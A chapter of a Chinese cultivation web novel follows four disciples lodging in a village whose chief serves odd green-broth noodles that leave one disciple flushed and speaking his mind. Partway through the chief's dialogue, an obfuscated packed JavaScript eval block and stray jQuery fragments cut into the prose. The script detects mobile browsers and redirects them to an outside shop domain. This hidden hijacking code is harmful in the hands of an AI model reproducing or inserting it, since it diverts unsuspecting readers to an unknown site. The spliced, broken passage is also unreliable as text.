四人留宿。
黄村长草草给四人派了屋子,也不给床棉被,指了指那硬石炕,示意让他们就这么躺就行,仿佛他们是天生地长出来的,随随便便就可以草草对待了。
黄村长虽然对着远道而来的四人脸上带着笑,可实际上并不热忱,巴望着四个人赶紧走,他一边安排住所,一边道:“我们这就这条件,几位道长将就着住一晚,明早我早些叫道长们起来,送你们去村口。”
黄村长赶人的意思再明显不过,几人也不好多说什么,免得自讨没趣。
“那行,村长您忙。”柳程音道。
黄村长转身出去。
这黄风村虽然看着人口稀疏,空屋子倒不少,四个人能各自分出一间单独的屋子来。
围着这窑洞,顾修缘来回巡视,发现条件着实简陋,不由得道:“师姐,咱们为何不早些时候走呢,我感觉这黄村长似乎也不大欢迎我们。”
柳程音道做思索状,但也没发现什么端倪,就道:"总觉得哪里有些奇怪,多住一晚看看情况,总归是好的。"
“那好吧,我看看这屋子怎么收拾。”顾修缘道。
还不待顾修缘行动,许平洲从一间倚靠在一间屋子的门边,对着柳程音诱哄道:“阿音,你睡这间屋子吧,我都给你铺好了。”
柳程音瞧了许平洲一眼,没说话,钻进来另一间屋子。
许平洲悻悻然一笑,转头对顾修缘道:“顾师弟,这里还有多余的被子,你给小师妹抱过去吧。”
“哦,好。”顾修缘很自然地接过话头,似乎又忘记了自己还在和师妹闹别扭这件事。
这个窑洞似乎久不住人,被褥都积了灰,顾修缘从几张被子里挑了夹在中间的那一层,很用力地掸了掸,抱着那床被褥,越过蓝迦,钻进一间空屋子,跪在炕上认真地铺平。
转过头对着蓝迦道:“你晚上就睡这儿,知道吗?你就穿着外衣睡,这被子不知道多久没晒没洗了,全是灰,睡一晚我都怕你起疹子。”
蓝迦朝他走过去:“那师兄晚上睡哪儿?”
“我应该睡你隔壁那间屋子。”顾修缘朝外一指,越过蓝迦要出去。
蓝迦抓住顾修缘的手臂:“师兄为何要帮我铺被子?”
顾修缘听懂了蓝迦的言外之意,自苦自己就是个操心的命,等不到蓝迦好言好语,他依旧不想讲和:“什么为什么,我还得给师姐铺呢。”
蓝迦:“师姐有许师兄帮着铺。”
顾修缘撅嘴扬声道:“我给我自己铺行了吧。”
蓝迦一脸正色道:“师兄还要闹到什么时候?”
顾修缘受不了蓝迦这幅装大人的姿态——做错事的她在向无辜受害者的他理所当然的模样。
顾修缘压低声音道:“你要是不会好好跟师兄说话,就别说话了。”
蓝迦果然不说话了,圆溜溜的蓝眼睛一瞬间变成竖瞳,也不知道在吓唬谁。
顾修缘的确被她唬到,自从师妹先前夜夜入他梦,那般把玩撩拨,他似乎就在她面前矮了一头,腿随着这一眼发起软来,他撑住脸面道:"把手给我放开。"
蓝迦即便不愿,还是把手松开了,等顾修缘走了,把自己摔到了硬炕上,心中又是生气。
...
本来以为黄村长的意思,是不会搭理四人了,没想到,四人正要出门去村子里寻览的时候,黄村长又忽然出现了。
黄村长拦住四人,道:“几位要出去啊?”
顾修缘:“去村子里逛逛。”
“这会儿都到饭点了,几位还没吃饭吧,不然这样,到我这儿去把饭吃了来。”黄村长忽然间变得实打实地热情了。
正巧几人没饭可吃,这村子里说起来奇怪,这黄村长最为奇怪,村民对这黄村长的态度,不像是对村长,反而看他,带着某种惊惧,就像他是苦徭劳工们中间,惹人厌的督头似的。
只是不知为何,他身上又感受不到妖邪的气息,于是柳程音道:“那就劳烦村长了。”
四个人跟着黄村长进到屋子。
不一会儿,黄村长就端出了四碗面条来。
四碗面,面条是黄白的,汤底青绿色,两者不相融,让人毫无食欲。
面条搁在桌子上,黄村长就停下动作了,也不落座,看着四人。
柳程音看向黄村长:“村长不吃吗?”
黄村长:“我不吃这玩意儿。”
闻言,桌前三人都瞬间凝重了眉眼,只有顾修缘夹了夹这看着没什么食欲的面条,生出好奇来。
黄村长许是察觉到不对,又道:“这是白面,特意用来招待你们的,我吃过黑馍了。”
蓝迦叫住唯一不警觉的顾修缘:“师兄,别吃。”
顾修缘瞥了眼蓝迦,眼神责怪她没礼貌,转头对着黄村长道:“村长有心了,该一起吃的,只是村长,这汤底你是用什么熬的,我还没见过这种颜色的汤面呢。”
黄村长:“树叶,我们这儿不好种菜,总要想些办法把人养活,这汤底虽然是加了树叶煮的,但是滋味很好,道长们趁热尝尝看。”
“枣叶吗?”
黄村长但笑不语。
伴随着肚子饿了,顾修缘不再向黄村长确认这汤底的由来,率先挑起面条放进了嘴里。
“师兄。”蓝迦,又惊得唤了他一声。
顾修缘脸上皱缩起来,他是被那面条酸涩的口感刺激到,艰难地哽下去:“怎么了?”
蓝迦观察着顾修缘:“这面条可好吃?”
顾修缘向蓝迦使了个眼神,示意是不好吃的,可是又看到黄村长期盼的眼神,只好说:“还成,是我没尝过的滋味,可能需要多吃几口,才能适应。”
“好吃就行,你们都吃啊。”黄村长抬手盛情邀约不肯动筷的三人。
而蓝迦的注意力还放在顾修缘的脸上。
不一会儿,蓝迦就看见师兄的脸上缓缓泛起一层红,似乎像是害羞了?
黄村长等不到其余三人用饭,就道:“你们怎么不吃呢?顾道长都说了这面很好吃,你们快尝尝,我们这儿的特色,等会儿凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752349|206240||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了就不好吃了,难道说是嫌弃了不成?”
哪知顾修缘这会儿异常严肃地盯着黄村长看:“不好吃,你叫他们怎么吃,这好好的面条煮的又酸又涩,你蒸两个馒头,都比这好吃,倒不是嫌弃,我怀疑村长,你在整我们呢。”
顾修缘突然嗔怪发难,引得柳程音不满,为客之道,就算主人家不周到,那也不能当面挑三拣四,柳程音正色:“师弟,你没事儿吧?”
顾修缘一下子用抱怨的目光看向柳程音:“我没事儿,我能有什么事,师姐又是要责难我了对吧,师姐要发难就发难好了,反正在师姐眼里,我永远都不成器,上比上许师兄,下比不了小师妹,我小时候你就想把我给丢下山去。”
柳程音凝眉:“我何时要把你给丢下山去了?”
顾修缘“哼”一声:“师姐骄傲得要死,反正谁也看不上了,你怎么不投胎当孔雀,要当我师姐呢?”
许平洲"噗嗤"一声笑了出来:“顾师弟今日是有话要不吐不快啊。”
“师兄?”蓝迦在一边觉察出不对,只见顾修缘一张脸越来越红,光洁的脸蛋上有了红肿的趋势。
顾修缘转过脸去,白一眼蓝迦:“叫师兄做什么?小麻烦精。”
蓝迦没答,眸光一冷,迅速转向黄村长,然后以迅而不及之势,闪身掐住了黄村长的脖子,咄咄逼人道:“你对我师兄做了什么?”
她力道极大,黄村长贴靠着墙,要离地而起来,他双手忙掰住蓝迦的手,挣扎着,却又被捏住喉咙说不出话来。
柳程音上前阻止:“师妹先别激动,先放开村长,问问是怎么回事。”
蓝迦很不想放开,看在柳程音的面子上还是松开了黄村长。
黄村长难受地躬身咳嗽,叫屈道:“道长,你别动不动喊打喊杀呀,这顾道长应该是吃了咱们这儿的面条,过敏了,这叶子原不是惯做食物的,有的人头一次吃会不适应,身体就会起红,不是什么要紧的,你也知道,咱们这儿庄稼不好长,是有什么就吃什么,吃食不好,也要克服的。”
蓝迦:"那我师兄怎么胡言乱语?"
黄村长:“这也不是什么要紧的,估计是麻痹了脑子,过一会儿就好了,就跟人喝醉了酒一样,比喝醉酒还好使呢,这会儿你问他什么他就答什么,还全都是真心话。”
蓝迦将信将疑。
黄村长:“真的,过一会儿就好了,不行的话我让村子里的大夫过来给道长看看。”
柳程音和气道:“师妹,你先观察观察师弟的情况,我是听说有些人会食物相克,出现敏感的情况,若真有问题,再看大夫。”
蓝迦勉强信了,回到顾修缘身边,伸手牵他:“师兄可哪里难受?”
顾修缘丧着一张脸:“痒,我身上痒得难受。”
说着他就去抓脸上的皮肤,越挠越是红肿,蓝迦赶紧伸手钳住他的手腕,随即又瞪上黄村长。
黄村长忙道:“用凉水给他敷一敷就好了。”
蓝迦搂住顾修缘的腰,三两步扶着他离开了此处。